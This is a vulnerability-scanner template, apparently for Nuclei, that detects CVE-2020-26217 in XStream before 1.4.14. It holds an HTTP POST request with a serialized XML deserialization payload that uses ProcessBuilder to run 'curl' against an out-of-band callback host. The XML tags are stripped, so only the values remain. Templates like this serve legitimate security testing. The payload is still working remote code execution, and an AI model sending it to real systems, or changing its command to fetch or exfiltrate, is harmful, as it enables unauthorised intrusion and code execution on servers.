id: CVE-2020-26217 info: name: XStream <1.4.14 - Remote Code Execution author: pwnhxl,vicrack severity: high description: | XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Users who rely on blocklists are affected. reference: - https://x-stream.github.io/CVE-2020-26217.html - https://github.com/x-stream/xstream/commit/0fec095d534126931c99fd38e9c6d41f5c685c1a - https://github.com/x-stream/xstream/security/advisories/GHSA-mw36-7c6c-q4q2 - https://nvd.nist.gov/vuln/detail/cve-2020-26217 remediation: Fixed in 1.4.14. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2020-26217 cwe-id: CWE-78 epss-score: 0.97456 tags: cve,cve2020,xstream,deserialization,rce,oast metadata: max-request: 1 http: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/xml 0 text/plain 0 -1 1 curl http://{{interactsh-url}} java.lang.ProcessBuilder start start KEYS 0 0 0 false 0 test matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - type: word part: interactsh_request words: - "User-Agent: curl" # Enhanced by md on 2023/04/12